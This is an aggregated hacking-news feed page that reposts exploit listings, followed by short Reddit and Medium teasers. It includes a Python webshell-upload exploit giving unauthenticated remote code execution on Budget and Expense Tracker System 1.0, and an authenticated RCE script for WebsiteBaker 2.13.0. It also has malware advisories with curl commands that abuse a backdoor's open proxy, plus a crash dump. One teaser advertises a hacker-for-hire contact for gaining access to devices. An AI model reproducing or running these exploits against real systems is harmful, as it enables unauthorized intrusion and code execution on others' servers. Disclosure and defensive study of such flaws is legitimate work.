Exploit Collector
Budgets And Expense Tracker System 1.0 Shell Upload


https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Budgets and Expense Tracker System version 1.0 suffers from an unauthenticated remote shell upload vulnerability.

MD5 | f92909d09b8c41e2da44df9b5ae47e41

Download
# Exploit Title: Budget and Expense Tracker System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: 2021-09-21
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip
# Version: 2.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Budget and Expense Tracker System 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
# RCE via executing exploit:
# Step 1: run the exploit in python with this command: python3 BMAETS_v1.0.py
# Step 2: Input the URL of the vulnerable application: Example: http://localhost/expense_budget/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+" Budget and Expense Tracker System 1.0")
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)

print(r"""
______ _______ ________
___ //_/__ /_______ ___ _______ ______(_)_____ _
__ ,< __ __ \ __ `/_ | /| / / __ `/____ /_ __ `/
_ /| | _ / / / /_/ /__ |/ |/ // /_/ /____ / / /_/ /
/_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___ / \__,_/
/___/
abdullahkhawaja.com
""")
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
#Create a new session
s = requests.Session()
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")
def webshell(LINK, session):
try:
WEB_SHELL = LINK+'/uploads/'+filename
getdir = {'cmd': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False, proxies=proxies)
status = r2.status_code
if status != 200:
print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
r2.raise_for_status()[...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WebsiteBaker 2.13.0 Remote Code Execution


https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
WebsiteBaker version 2.13.0 authenticated remote code execution exploit.

MD5 | 879ffeddf168aab8e205fd99f221cb9b

Download
# Exploit Title: WebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 18-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://websitebaker.org/
# Software Link: http://wiki.websitebaker.org/doku.php/en/downloads
# Version: 2.13.0
# Category: Webapps
# Tested on: Linux/Windows

# WebsiteBaker Open Source Content Management
# Includes an endpoint that allows remote access
# Language page misconfigured, causing vulnerability
# User information with sufficient permissions is required.
# I had to write a long script to bypass some security measures.

# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
# python3 exploit.py -h
from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse
def main():
parser = argparse.ArgumentParser(
description='WebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)'
)
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-l', '--login', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("\nWebsiteBaker 2.13.0 - Remote Code Execution (RCE) (Authenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
sleep(2)
find_default(args)
def find_default(args):
#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)
else:
print("\n[?] Check Adress...\n")
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)
# Check Host Status
try:
response = requests.get(args.host)
if response.status_code != 200:
print("[-] Address not reachable!\n")
sleep(2)
exit(1)

except requests.ConnectionError as exception:
print("[-] Address not reachable!\n")
sleep(2)
exit(1)

exploit(args)

url = args.host + "/admin/login/index.php"
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/admin/addons/index.php",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}
response = requests.get(url, headers=headers)
for cookie in response.cookies:
phpsessid_name = cookie.name

soup [...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit CollectorBackdoor.Win32.Hupigon.asqx Unauthenticated Open Proxy


Backdoor.Win32.Hupigon.asqx malware suffers from an unauthenticated open proxy vulnerability.

MD5 | 6946d1d2d8ac1b15c59fb140b80485a9

Download



Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a344b767d58b6c83b92bb868727e021c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.asqx
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: a344b767d58b6c83b92bb868727e021c
Vuln ID: MVID-2021-0343
Dropped files: win32.exe
Disclosure: 09/20/2021


Exploit/PoC:
Scan Ports)

curl -x http://192.168.18.129:8080 http://192.168.18.128:110 -v
+OK INetSim POP3 Server ready <22935.1631403728@pop3host>
-ERR Unknown command.

curl -x http://192.168.18.129:8080 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl -x http://192.168.18.129:8080 http://192.168.18.128/DOOM.exe --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
97 101k 97 98k 0 0 98k 0 0:00:01 0:00:01 --:--:-- 95224


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Minilash.10.b Denial Of Service


https://1.bp.blogspot.com/-gLNlUWq63_8/WWlvGRw0eoI/AAAAAAAAILQ/4OYXBaTeiPkRlDYcEes6gWLLrvO9LjoiQCLcBGAs/s1600/h138.png
Backdoor.Win32.Minilash.10.b malware suffers from a denial of service vulnerability.

MD5 | 5ce0fce6095f07ba5a9c932f87ac7ced

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3c407448a00b2d53b2418f53b66d5b6b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Minilash.10.b
Vulnerability: Remote Denial of Service (UDP Datagram)
Description: The Minilash malware listens on TCP 6711 and UDP port 60000. Third-party attackers who can reach infected systems can send a specially crafted junk payload to UDP port 60000 that results in access violation and crash.
Type: PE32
MD5: 3c407448a00b2d53b2418f53b66d5b6b
Vuln ID: MVID-2021-0344
Disclosure: 09/20/2021

Memory Dump:
(1518.115c): Access violation - code c0000005 (first/second chance not available)
eax=000a1068 ebx=000a1038 ecx=004661bc edx=000a1068 esi=000a1190 edi=00000000
eip=776a9fa2 esp=000a1000 ebp=000a1030 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
ntdll!RtlAcquireSRWLockShared+0x2:
776a9fa2 55 push ebp

0:000> .ecxr
eax=000a1068 ebx=000a1038 ecx=004661bc edx=000a1068 esi=000a1190 edi=00000000
eip=776a9fa2 esp=000a1000 ebp=000a1030 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
ntdll!RtlAcquireSRWLockShared+0x2:
776a9fa2 55 push ebp

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
KERNELBASE!RaiseException+62
762d08f2 8b4c2454 mov ecx,dword ptr [esp+54h]

EXCEPTION_RECORD: 0019f780 -- (.exr 0x19f780)
ExceptionAddress: 762d08f2 (KERNELBASE!RaiseException+0x00000062)
ExceptionCode: 0eedfade
ExceptionFlags: 00000003
NumberParameters: 7
Parameter[0]: 004104b3
Parameter[1]: 0420c5a4
Parameter[2]: ffffffff
Parameter[3]: 0040d310
Parameter[4]: 041e77e8
Parameter[5]: 0019fd0c
Parameter[6]: 0019fcc0

PROCESS_NAME: Backdoor.Win32.Minilash.10.b.3c407448a00b2d53b2418f53b66d5b6b..exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 000a0ffc

WRITE_ADDRESS: 000a0ffc

FOLLOWUP_IP:
KERNELBASE!RaiseException+0
762d0890 8bff mov edi,edi

MOD_LIST: [...]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How Cryptocurrency Will Change The World

https://external-preview.redd.it/8wC334yx1YFO6uNX5ZBwfEyzCNlBK-uBWNexL-IX5d8.jpg?width=320&crop=smart&auto=webp&s=16557204a671099d0414768e0f818c172e21a5e2 submitted by /u/Fuck_Ethereum
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I don t know the email or number or anything how i reset it

Well a while ago my father gave my sister (she s 6) an laptop who transforms into a graphics tablet and i really really want to learn to draw on it.

I can t ask my dad from who or where he has it cuz my parents are divorced.

I know it s not a place to ask for help but i did not have a computer or anything like that since i was 5 now i m 17 and i want to be more productive and my mom can t afford a computer cuz she has 3 childs on her on. And i like drawing and i want to learn how to use an computer cuz i m close to failing at informatics every year

I am very sorry if this is not the place to ask it but i tried to give it to someone who know and he said he can t help me.

And also my bf want to play games with me and he said to buy something doesn t mater if it s an laptop or computer and i m ashamed to say i can t afford one

submitted by /u/Mysterious-Collar651
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
change hardware id

i have a surface laptop 3, and i was wondering if there is any way to change the hardware id by flashing the bios.

submitted by /u/Vexaros_
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HackTheBox — Ophiuchi


As always, we start with nmap to discover open ports/services.

Continue reading on Medium »

Hacking on Medium
Bash Web Scraping


With the built in tools and easily available libraries like curl, xargs, convert,pup it makes it easy to perform web scraping.

Continue reading on Medium »

Hacking on Medium
Prioridades de ciberseguridad en 2021: ¿Cómo pueden los CISO volver a analizar y cambiar el enfoque?


PUBLICADO EN 21 SEPTIEMBRE, 2021POR EHACKING

Continue reading on Medium »

Hacking on Medium
Top 5 Best Wireshark Courses on Udemy in 2021

You are looking for Best Wireshark Courses on Udemy to Enhance your Skills.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
America Is Being Held for Ransom. It Needs to Fight Back.


By Dmitri Alperovitch, NSI Advisory Board member

Continue reading on The SCIF »

Hacking on Medium
Can I Use a Hacker to Gain Access to a Device?


Yes, contact@hacknetworkgroup.com

Continue reading on Medium »